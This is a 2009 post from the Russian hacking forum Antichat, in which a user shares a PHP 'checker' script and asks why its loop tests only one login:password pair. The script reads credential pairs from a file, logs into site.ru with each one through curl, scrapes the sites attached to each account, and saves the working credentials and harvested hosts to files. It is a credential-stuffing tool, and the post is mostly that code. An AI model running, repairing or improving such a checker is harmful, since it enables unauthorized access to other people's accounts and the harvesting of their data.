ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Трабла с чекером
  #1  
Старый 17.05.2009, 21:39
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию Трабла с чекером

PHP код:

<?php

@set_time_limit(0);

$logins = array();

$passwords = array();

$user '';

$pass '';

$z 0;

$fp fopen("sites.txt","w");

$fp1 fopen("accounts.txt","r");

$fp2 fopen("count.txt","w");

$n = array();


while(!
feof($fp1)) {

$str fgets($fp1,1024);

$z++;

$str1 explode(":",$str);


$logins[] = $str1[0];

$passwords[] = $str1[1];



}



$i 0;


for (
$q 0;$q $z$q++) {


$url "http://www.site.ru";
$ua " IE 6.0";
$req "action=login&username=$logins[$q]&passwd=$passwords[$q]&submit=Войти";


$ch curl_init();

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);

$res curl_exec($ch);

curl_close($ch);



$ch1 curl_init();

$url1 "http://site.ru/?action=sites";

curl_setopt($ch1,CURLOPT_URL,$url1);;
curl_setopt($ch1,CURLOPT_REFERER,$url);
curl_setopt($ch1,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch1,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch1,CURLOPT_USERAGENT,$ua);
curl_setopt($ch1,CURLOPT_RETURNTRANSFER,1);


$res1 curl_exec($ch1);


curl_close($ch1);




if(
preg_match_all('|title="(.*)">|',$res1,$s)) {


foreach(
$s[1] as $v) {


$n[] = $v;

echo 
"$v<br>";

$i++;


}

for(
$k 0$k count($n); $k++) {


$result parse_url($n[$k]);

fwrite($fp,$result['host']."\r\n");

echo 
"<br>";


}

fwrite($fp2,Логин.":".$logins[$q]."\r\n".Пароль.":".$passwords[$q].Сайтов.":".count($n)."\r\n\r\n");

$ch2 curl_init();

$url2 "http://site.ru/?action=logout";

curl_setopt($ch2,CURLOPT_URL,$url2);;
curl_setopt($ch2,CURLOPT_REFERER,$url1);
curl_setopt($ch2,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch2,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch2,CURLOPT_USERAGENT,$ua);
curl_setopt($ch2,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch2,CURLOPT_FOLLOWLOCATION,1);


$res2 curl_exec($ch2);

echo 
$res2;

curl_close($ch2);



}




else {


echo 
"Fuckin sucker!";



}


}




fclose($fp);
fclose($fp1);
fclose($fp2);






?>
Чекер работает но,сцуко,почему-то считывает из массивов только одну пару логин:пароль...Почему так происходит,мну непонятно.Где-то с циклами или проверками замутил чтоли... Кто может помочь разобраться ?

ЗЫ: Во всём остальном - рабочее.Где что неправильно или некорректно использовал,выслушаю)).Може т,для себя что новое открою и проще в реализации.Спасибо.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
брут дедов. трабла с VNC Ftopky! Болталка 10 13.07.2009 23:47
Трабла с 3proxy br1tva Болталка 3 05.05.2009 07:44
трабла с форматированием винды nonamez Windows 7 14.03.2009 15:25
трабла с Hp 6340 нестабильная загрузка системы ;-( TTN_ Схемы и программы 1 26.11.2006 01:27
трабла... BlackCats Болталка 15 12.09.2006 11:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ